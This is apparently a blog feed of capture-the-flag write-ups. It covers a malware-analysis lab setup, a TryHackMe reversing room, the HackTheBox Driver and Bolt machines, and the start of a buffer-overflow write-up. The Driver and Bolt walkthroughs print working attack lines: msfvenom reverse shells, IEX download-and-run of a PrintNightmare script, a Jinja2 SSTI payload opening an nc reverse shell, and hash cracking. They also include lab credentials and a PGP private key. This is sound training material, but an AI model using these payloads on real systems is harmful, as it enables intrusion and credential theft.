<code>ls /etc/netplan</code> to see the name of the configuration file that is being used. Mine was <code>01-netcfg.yaml</code> so I can edit it with <code>sudo nano /etc/netplan/01-netcfg.yaml</code>. I created the <code>enp0s8</code> adapter and saved it:</p> <pre><code class="language-yaml"># This file describes the network interfaces available on your system # For more information, see netplan(5). network: version: 2 renderer: networkd ethernets: enp0s3: dhcp4: yes enp0s8: addresses: - 10.10.2.2/24 </code></pre> <p>Apply the changes with <code>sudo netplan apply</code> and now if you run <code>ifconfig</code> you will see the static IP for the new <code>enp0s8</code> adapter:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/adapters.webp"/></p> <p>Our two adapters</p> <h3 id="windows-network-setup">Windows Network Setup</h3> <p>Navigate to the Network Connections in Control Panel. Right click the Network Adapter, Click Properties. In the new window, find Internet Protocol Version 4 and click it, then click Properties.</p> <p>The IP address can be anything, I chose <code>10.10.2.3</code> with a subnet mask of <code>255.255.255.0</code> ensure the first 3 octets match the octet range used for the linux box. Now the Default Gateway and Preferred DNS server need to point back to the same IP used for the linux box.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-12.webp"/></p> <p>Completed Network Settings</p> <h1 id="remnux-lab-preparation_2">REMnux Lab Preparation</h1> <p>Shutdown both boxes and create a snapshot. This will be where to return after doing any malware infections or if something goes awry. Returning to this point ensures we have upgraded boxes with the network setup properly.</p> <p>To actually start properly capturing the data from the windows box into REMnux, we open two terminals and run a command in each. Be sure to replace the network adapter and IP with whatever you used for this linux box.</p> <pre><code class="language-bash">$ accept-all-ips start enp0s8 # After that command runs, next run the following (using the IP you set the box to) $ sudo inetsim --bind-address 10.10.2.2 </code></pre> <p>In a second terminal run:</p> <pre><code class="language-bash">$ sudo fakedns -I 10.10.2.2 </code></pre> <p>Now we will have all network traffic that comes through our box captured. The <code>fakedns</code> will respond to every DNS call with its own IP. The <code>inetsim</code> will return an HTML page whenever the website is then requested.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/services.webp"/></p> <p>Our running services, note all of the DNS hits in the terminal on the right being redirected to ourselves</p> <p>Open Wireshark on the REMnux box and choose the same <code>enp0s8</code> adapter, here we can monitor all the queries being made from our windows box! Test it by trying to open anything on the Windows box:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/done.webp"/></p> <p>Success!</p> <p>This query should make a hit on the DNS terminal and in Wireshark. Now we are ready for any malware to come through and try to make network requests</p> <h1 id="windows-preparation">Windows Preparation</h1> <p>On our windows box, we can start up procmon right before we execute the malware to keep track of what processes are changing in the background. Once we let it run for several minutes, Save the file as .csv and send to procDot to help clean it up and generate a process graph!</p> <p>procDot also needs windump.exe, which can be installed from <a href="https://www.winpcap.org/windump/">here</a>, and dot.exe can be found in <code>C:\Program Files\GraphViz\bin\dot.exe</code>.</p> <h1 id="ready">Ready</h1> <p>Now we have snapshots, network communication and tracking and process tracking. We are ready to roll!</p> <h1 id="references">References:</h1> <ul> <li>Building a Custom Lab: <a href="https://www.sentinelone.com/labs/building-a-custom-malware-analysis-lab-enviro">https://www.sentinelone.com/labs/building-a-custom-malware-analysis-lab-environment/</a></li> <li>Configuring Network on Ubuntu: <a href="https://serverspace.io/support/help/configuring-the-network-interface-in-ubuntu-18-04/">https://serverspace.io/support/help/configuring-the-network-interface-in-ubuntu-18-04/</a></li> </ul>2022-01-07T14:20:35-05:002026-05-17T14:03:45.470932-04:00Eric Turnertag:blog.ericturner.it,2022-01-07:/2022/01/07/tryhackme-basic-malware-re/

<p>Link: <a href="https://tryhackme.com/room/basicmalwarere">https://tryhackme.com/room/basicmalwarere</a></p> <p>This is another one of the free rooms in the <a href="https://tryhackme.com/module/malware-analysis">Malware Analysis Module</a> of TryHackMe.</p> <p>This is a challenge room, where we are given files and just need to try a flag, instead of a more guided learning room.</p> <h1 id="challenge-1">Challenge 1</h1> <p>Running <code>strings</code> on …</p>

<p>Link: <a href="https://tryhackme.com/room/basicmalwarere">https://tryhackme.com/room/basicmalwarere</a></p> <p>This is another one of the free rooms in the <a href="https://tryhackme.com/module/malware-analysis">Malware Analysis Module</a> of TryHackMe.</p> <p>This is a challenge room, where we are given files and just need to try a flag, instead of a more guided learning room.</p> <h1 id="challenge-1">Challenge 1</h1> <p>Running <code>strings</code> on this executable is no good, it returns over 1600 random flags. But popping this file into IDA immediately shows us the correct one:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-9.webp"/></p> <h1 id="challenge-2">Challenge 2</h1> <p>I threw this file back into IDA and it is very similar where it prints each character of the flag in order:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-10.webp"/></p> <h1 id="challenge-3">Challenge 3</h1> <p>This one is a bit trickier, running <code>strings</code> or putting it through IDA shows no references to <code>flag{</code>. I tried searching the strings and found nothing. Stumped, I switched from IDA to Ghidra to see if it helped. Doing so immediately helped reveal the flag by hovering over the final parameter of LoadStringA in the entry function.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-11.webp"/></p>2021-10-04T15:31:18-04:002026-05-17T14:03:45.443863-04:00Eric Turnertag:blog.ericturner.it,2021-10-04:/2021/10/04/hack-the-box-driver/

<p>Link: <a href="https://app.hackthebox.eu/machines/Driver">https://app.hackthebox.eu/machines/Driver</a></p> <h1 id="enumeration">Enumeration</h1> <h2 id="tcp-port-scan">TCP Port Scan</h2> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/10/image.webp"/></p> <p>nmap top 1000 ports with version detection</p> <p>Our port scan reveals a possible windows 7-10 machine with a web server up.</p> <p>I used metasploits' <code>auxiliary/scanner/smb/smb_version</code> to find the SMB and Windows version and it returned SMB …</p>

<p>Link: <a href="https://app.hackthebox.eu/machines/Driver">https://app.hackthebox.eu/machines/Driver</a></p> <h1 id="enumeration">Enumeration</h1> <h2 id="tcp-port-scan">TCP Port Scan</h2> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/10/image.webp"/></p> <p>nmap top 1000 ports with version detection</p> <p>Our port scan reveals a possible windows 7-10 machine with a web server up.</p> <p>I used metasploits' <code>auxiliary/scanner/smb/smb_version</code> to find the SMB and Windows version and it returned SMB 3.1.1, Windows 10 Enterprise build 10240.</p> <h2 id="web-server">Web Server</h2> <p>Attempting to navigate to the web server pops up an authentication prompt "MFP Firmware Update Center. Please enter password for admin".</p> <p>Fortunately for us, <code>admin</code>:<code>admin</code> worked as the credentials. The only important page here is the Firmware Updates tab. It allows us to select a printer model and upload firmware. I inspected the headers of the page and we see the server is Microsoft-IIS/10.0 and an X-Powered-By PHP/7.3.25 header. My next guess is we need to supply either a windows binary or PHP shell script to the upload form and see what it does. We'd also need to know where the file uploads to. A gobuster scan only reveals a /images directory without directory indexing so we cannot see inside of it.</p> <p>I attempted to load a revshell.php file to the firmware upload and then went to see if we could access it under /images/revshell.php but no dice.</p> <p>I used <code>msfvenom</code> to generate a reverse shell payload for windows using the following command:</p> <pre><code class="language-bash">$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.58 LPORT=4444 -f exe &gt; shell.exe </code></pre> <p>I tried the .exe for each of the 4 printer models and waited a few minutes but nothing happened and I never received a callback.</p> <p>My next thought is to intercept the request with BurpSuite and change the printer name to some sort of command instead of relying on the file upload.</p> <p>I was a bit stumped here so I ran a full port scan over ports 1-65535 and discovered a new port, 5985 which is WinRM.</p> <p>Also if we look on the firmware upload page it says the form will "upload the respective firmware update to our file share. I found this <a href="https://1337red.wordpress.com/using-a-scf-file-to-gather-hashes/">article on using an SCF file to intercept NTLM hashes</a>. After following the article and uploading the .scf file, we get 7 hits for user DRIVER\tony and an NTLMv2 Hash.</p> <p>I copied the first hash and echoed it to a file. Next using hashcat:</p> <pre><code class="language-bash">$ hashcat -m 5600 -a 0 ntlm /usr/share/wordlists/rockyou.txt </code></pre> <p>Nets us a password of <code>tony:liltony</code></p> <h2 id="winrm">WinRM</h2> <p>Since I discovered port 5985, WinRM, on the second nmap scan, we can use <code>evil-winrm</code> to try and gain access.</p> <pre><code class="language-bash">$ evil-winrm -i 10.129.214.79 -u tony -p liltony </code></pre> <p>This command connects us as tony and gives us a PS command line, we can find the user.txt on tony's desktop.</p> <h1 id="priv-esc_1">Priv Esc</h1> <p>I downloaded WinPEAS from <a href="https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe">here</a> onto my machine, then then ran the following:</p> <pre><code class="language-powershell">&gt; Invoke-WebRequest -Uri http://10.10.x.x:8000/winPEASany.exe -OutFile winPEASany.exe &gt; ./winPEASany.exe </code></pre> <p>One interesting thing the script found was a scheduled bat file as admin:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/10/image-1.webp"/></p> <p>automated job</p> <p>The actual contents of these scripts are here:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/10/image-2.webp"/></p> <p>script source code</p> <p>It appears it references the firmware folder again, that must be where the uploader would drop files. It seems that it checks all open shell windows and if the location url of the shell equals C:\firmwares then it quits the shell.</p> <p>I looked more into print driver CVE since it seems what this box is all about and found one by the name of PrintNightmare, found <a href="https://github.com/calebstewart/CVE-2021-1675">here</a>.</p> <p>I downloaded the CVE code to my machine then threw up the Python web server again. In WinRM, I ran the following:</p> <pre><code class="language-powershell">&gt; IEX(New-Object Net.Webclient).downloadstring('http://10.10.x.x:8000/CVE-2021-1675.ps1') &gt; Invoke-Nightmare -NewUser "SuperAdmin" -NewPassword "SuperAdmin" [+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll [+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll" [+] added user SuperAdmin as local administrator [+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll </code></pre> <p>Now we can kill WinRM and login with our new credentials.</p> <pre><code class="language-bash">$ evil-winrm -i 10.129.214.79 -u SuperAdmin -p SuperAdmin </code></pre> <p>Now we have local admin rights, we can <code>cd</code> to C:\Users\Administrator\Desktop for the admin flag!</p> <h1 id="get-admin-hash">Get Admin Hash</h1> <p>Finally, I did a few extra steps to get the admin hash to lock this blog post.</p> <pre><code class="language-bash"># my machine $ msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.10.x.x -f exe &gt; m.exe $ python3 -m "http.server" $ msfconsole (msf6) &gt; use exploit/multi/handler (msf6) &gt; set PAYLOAD payload/windows/x64/meterpreter/reverse_tcp (msf6) &gt; set LHOST 10.10.x.x (msf6) &gt; run </code></pre> <pre><code class="language-powershell"># victim machine through WinRM, as SuperAdmin &gt; Invoke-WebRequest -Uri http://10.10.x.x:8000/m.exe -OutFile m.exe &gt; ./m.exe </code></pre> <p>Our listener through metasploit makes a connection and we can run <code>hashdump</code> to get the hash for the admin account.</p>2021-10-01T11:31:20-04:002026-05-17T14:03:45.444863-04:00Eric Turnertag:blog.ericturner.it,2021-10-01:/2021/10/01/hackthebox-bolt/

<p>Link: <a href="https://app.hackthebox.eu/machines/Bolt">https://app.hackthebox.eu/machines/Bolt</a></p> <h1 id="enumeration">Enumeration</h1> <h2 id="tcp-port-scan">TCP Port Scan</h2> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-94.webp"/></p> <p>nmap top 1000 ports tcp port scan with version detection</p> <p>Preliminary port scan reveals SSH on port 22 and two web servers on ports 80 and 443.</p> <h2 id="ssl-web-server">SSL Web Server</h2> <p>Attempting to access the https version of the website …</p>

<p>Link: <a href="https://app.hackthebox.eu/machines/Bolt">https://app.hackthebox.eu/machines/Bolt</a></p> <h1 id="enumeration">Enumeration</h1> <h2 id="tcp-port-scan">TCP Port Scan</h2> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-94.webp"/></p> <p>nmap top 1000 ports tcp port scan with version detection</p> <p>Preliminary port scan reveals SSH on port 22 and two web servers on ports 80 and 443.</p> <h2 id="ssl-web-server">SSL Web Server</h2> <p>Attempting to access the https version of the website prompts a security warning. We can further investigate this certificate and get the common name of the website:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-95.webp"/></p> <p>certificate</p> <p>I added <code>passbolt.bolt.htb</code> and <code>bolt.htb</code> to my <code>/etc/hosts</code> file for convenience. Now accessing the URL gives a login page:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-96.webp"/></p> <p>login</p> <p>I attempted to enter <code>admin@bolt.htb</code> and get the following error:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-97.webp"/></p> <p>invitation error</p> <p>We could probably use this error to help us identify valid email addresses but for now I'm going to check out the regular website on port 80 and see what we can determine from there.</p> <h2 id="web-server-port-80">Web Server (Port 80)</h2> <p>We get a pretty standard boilerplate template for the main website but there is a login page. The title of this page is <code>Boilerplate Code Jinja - Sign IN | AppSeed</code>. Jinja tells us we have a templating engine in Python, so we could have a SSTI vulnerability with this login and registration form.</p> <p>I attempted to register with:</p> <pre><code>Username: {{3*3}} Email: {{3*3}}@gmail.com Pass: test </code></pre> <p>But it throws an internal service error. It appears no matter what gets tried it will consistently return a 500 error when trying to register.</p> <p>Back on the <code>/login</code> endpoint, I attempted credentials <code>test:test</code> and got an <code>Invalid login. Forbidden.</code> Most notably, however, <code>admin:admin</code> returns <code>Invalid password. Please try again.</code> We could definitely brute force this since we know <code>admin</code> is a valid username.</p> <pre><code class="language-bash">$ hydra -l admin -P /usr/share/wordlists/rockyou.txt bolt.htb http-post-form "/login:username=^USER^&amp;password=^PASS^:Invalid password" -V </code></pre> <p>While this is running, we can perform a gobuster directory scan:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-98.webp"/></p> <p>gobuster directory</p> <p>I also performed a GoBuster vhost scan and discovered mail.bolt.htb and demo.bolt.htb that I added to /etc/hosts.</p> <h2 id="docker-image">Docker Image</h2> <p>We have several endpoints revealed. /download gives us a docker tar image, we can load it with:</p> <pre><code class="language-bash">$ sudo docker load -i image.tar $ sudo docker run flask-dashboard-adminlte_appseed-app:latest </code></pre> <p>Next I navigated to our docker container's IP and saw this:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-99.webp"/></p> <p>However browsing around shows this is just another pre-built template with nothing of interest. Looking in the various layer.tar files in the image, I found an .env file with the following:</p> <pre><code>DEBUG=True SECRET_KEY=S3cr3t_K#Key DB_ENGINE=postgresql DB_NAME=appseed-flask DB_HOST=localhost DB_PORT=5432 DB_USERNAME=appseed DB_PASS=pass </code></pre> <p>Inside of the layer starting with /a4ea7da..., there is a db.sqlite3 file. Opening this shows a username and password hash for admin@bolt.htb:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-100.webp"/></p> <p>admin hash</p> <p>I saved this to a file and used hashcat to crack the password</p> <pre><code class="language-bash">$ hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt </code></pre> <p>And in less than 30 seconds we get a match:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-101.webp"/></p> <p>password cracked</p> <p>If we use these credentials on the http://bolt.htb/login, it grants us access.</p> <h2 id="web-server-port-80-authenticated">Web Server (Port 80) Authenticated</h2> <p>We see a similar Admin dashboard to the docker container. I searched around and we can do XSS on the calendar page for JS. Refreshing the page purges the calendar back to original. It seems like this dashboard is a dead end. I found two additional domains from the gobuster vhost scan from before, let's check those out</p> <h2 id="demobolthtb">demo.bolt.htb</h2> <p>It looks very similar to the original, however when attempting to register it requires an invite code. The admin:deadbolt credentials do not work on here.</p> <p>If we dive back into the image.tar from earlier, inside of the layer starting with /41093412e0..., and inside /layer.tar/app/base/routes.py is code to check for the invitation code:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-102.webp"/></p> <p>invitation code</p> <p>Using this code with test:test and email of test@bolt.htb, we can log in to demo.bolt.htb. Although, it looks very similar to the other dashboard just with more templates on the sidebar and I cannot really find anything interesting.</p> <h2 id="mailbolthtb">mail.bolt.htb</h2> <p>The admin:deadbolt credentials still do not work here, however the test:test we created on demo.bolt.htb do work here. I attempted to send an email but it fails.</p> <p>After much testing, if you edit your profile on demo.bolt.htb:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-103.webp"/></p> <p>edit profile</p> <p>It will send an email for confirmation via mail.bolt.htb:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-104.webp"/></p> <p>confirm changes</p> <p>If we do SSTI such as {{3*3}}, it is reflected in the email:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2021/09/image-105.webp"/></p> <p>SSTI Python</p> <p>From this page, the last payload for Jinja2 filter bypass works. I replaced the <code>id</code> command with a reverse shell like so:</p> <pre><code>{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.10.x.x 4444 &gt;/tmp/f')|attr('read')()}} </code></pre> <p>Start a nc listener and then confirm the changes from the email and we get a reverse shell as www-data.</p> <h1 id="reverse-shell_1">Reverse Shell</h1> <p>In the /home directory, we have two users: eddie and clark, however we are unable to read these directories as www-data. Hopefully we have something on the box that will help us move into a user account.</p> <p>Some discoveries:</p> <ul> <li><code>netstat -l --numeric-ports</code> reveals we have a MySQL server running</li> <li><code>/var/www/demo.config.py</code> reveals a SQLALCHEMY URI of mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail</li> </ul> <p>We can access the database with:</p> <pre><code>$ mysql -u bolt_dba -p boltmail Enter password: dXUUHSW9vBpH5qRB </code></pre> <p>The only table in boltmail is user table and interestingly it just shows the hash for the admin user we discovered before and our test user so nothing new here.</p> <p>From our nmap scan, we know we have nginx running and we can find configuration files in /etc/nginx. There is also the passbolt app we had running on 443, the configuration filke says the root for this is <code>/usr/share/php/passbolt/webroot</code>. Inside of /bin I found a healthcheck. I executed it and it told me about a config/passbolt.php. Running <code>locate passbolt.php</code> shows we have a configuration file in /etc/passbolt. There is more database credentials here:</p> <pre><code class="language-php">'Datasources' =&gt; [ 'default' =&gt; [ 'host' =&gt; 'localhost', 'port' =&gt; '3306', 'username' =&gt; 'passbolt', 'password' =&gt; 'rT2;jW7&lt;eY8!dX8}pQ8%', 'database' =&gt; 'passboltdb', ], ] </code></pre> <p>We can connect with <code>mysql -u passbolt -p passboltdb</code> like before. There are a lot more tables in this database. Both eddie@bolt.htb and clark@bolt.htb are listed in users but I did not find any hashes in the database. There is a secrets table here but the secret is encrypted with a password or phrase. Fortunately for us, eddie reuses this password for SSH and we can gain access that way.</p> <h1 id="eddie">eddie</h1> <p>First grab the user.txt flag in this home directory. A quick <code>sudo -l</code> check reveals we cannot run any sudo commands. I put LinPeas.sh onto the box and outputted the results to a file in order to read through more thoroughly</p> <p>Discoveries:</p> <ul> <li>Sudo Version 1.8.31</li> <li>/usr/sbin/dovecot (mail server) running as root</li> <li>Google Chrome seems to be running on the box, there is files in /home/eddie/.config/google-chrome<ul> <li>/home/eddie/.config/google-chrome/ZxcvbnData/1/passwords.txt</li> </ul> </li> <li>/usr/bin/gettext.sh and /usr/bin/amuFormat.sh</li> <li>/var/lib/php/sessions</li> <li>email in /var/mail/eddie</li> </ul> <p>If we <code>cat /var/mail/eddie</code> we get an email from Clark about the password management server. It says to download the extension to your browser and use a private key to recover the account.</p> <p>If we search in the Google Chrome directory for PRIVATE KEY, we can find references in a log file inside of an extension. I copied this text and put it into VS Code. Replace <code>\\r\\n</code> and then hit SHIFT + ENTER in the replace box to have an actual new line. Replace all for the PGP Key:</p> <pre><code>-----BEGIN PGP PRIVATE KEY BLOCK----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org 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 PSwYYWlAywj5 =cqxZ -----END PGP PRIVATE KEY BLOCK----- </code></pre> <p>Now we can attempt to crack it with john</p> <pre><code class="language-bash">$ gpg2john pgpfile &gt; gpghash $ john --wordlist=/usr/share/wordlists/rockyou.txt --format=gpg gpghash </code></pre> <p>After close to 12 minutes, the password is cracked as <code>merrychristmas</code>. Log back into the MySQL passboltdb again and let's checkout the secrets table. I copied the PGP message to my kali box and saved it as <code>pgp_msg</code>.</p> <p>Now run the following commands:</p> <pre><code class="language-bash">$ gpg --import pgpfile # enter passcode of merrychristmas $ gpg -d pgp_msg # enter passcode if prompted </code></pre> <p>This gives us the following decrypted message:</p> <pre><code class="language-json">{"password":"Z(2rmxsNW(Z?3=p/9s","description":""} </code></pre> <p>I tried to <code>su clark</code> with this password but it fails. However if we just run <code>su</code> to switch to root, the password does work!</p> <p>Let's grab the flag and we are done!</p>2021-08-13T17:04:19-04:002026-05-17T14:03:45.442862-04:00Eric Turnertag:blog.ericturner.it,2021-08-13:/2021/08/13/hack-the-box-academy-buffer-overflow-on-linux-x86/

<p><img alt="" src="https://blog.ericturner.it/uploads/2021/08/image-95.webp"/></p> <p>While attempting a different reverse engineering / pwn challenge, I realized I needed more background knowledge on how to properly do a buffer overflow, thus I took the Stack-Based Buffer Overflows on Linux x86 case from HTB academy. This is my writeup of the final Skills Assessment</p> <h1 id="discovery">Discovery</h1> <p>First we need …</p>

<p><img alt="" src="https://blog.ericturner.it/uploads/2021/08/image-95.webp"/></p> <p>While attempting a different reverse engineering / pwn challenge, I realized I needed more background knowledge on how to properly do a buffer overflow, thus I took the Stack-Based Buffer Overflows on Linux x86 case from HTB academy. This is my writeup of the final Skills Assessment</p> <h1 id="discovery">Discovery</h1> <p>First we need to see what file we are working with, get some starting addresses, then start debugging to see if we have the ability to overflow into the <code>eip</code>.</p> <pre><code>htb-student@nixbof32skills:~$ objdump -f leave_msg leave_msg: file format elf32-i386 architecture: i386, flags 0x00000150: HAS_SYMS, DYNAMIC, D_PAGED start address 0x00000550 </code></pre> <p>First, we check to see what file format, architecture and starting address of the file are using <code>objdump -f</code>.</p> <p>If I try to disassemble with <code>objdump -d</code>, my terminal hangs when hitting the main function. Attempting to run this program either on its own or standalone causes an immediate segmentation fault. I find this a bit odd. I tried resetting the machine but it still does it, so it must be intended.</p> <p>I found we need to pass a parameter to the program and then it pastes it in <code>/home/htb-student/msg.txt</code>. Each time you run the program, it wipes the file and inserts the new message. </p> <h1 id="determining-buffer-overflow-vulnerability">Determining Buffer Overflow Vulnerability</h1> <p>Through some trial and error, I kept sending increasing amounts of <code>\x55</code> to the program. Between 2000 and 2100 nets us a segmentation fault. We can find the exact offset with some metasploit scripts.</p> <p>First I use /<code>pattern_create.rb</code> to give us a 2100 byte payload that we know will cause a segmentation fault:</p> <pre><code>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb - l 2100 </code></pre> <p>Next, back in <code>gdb</code> we can paste this in with python:</p> <pre><code class="language-bash">run $(python -c "print 'Aa0Aa1Aa2Aa3...6Cr7Cr8Cr9'") ... Program received signal SIGSEGV, Segmentation fault. 0x37714336 in ?? () </code></pre> <p>The program errors out and give us a unique hex code thanks to the pattern. Now we use this hexcode with another metasploit tool, 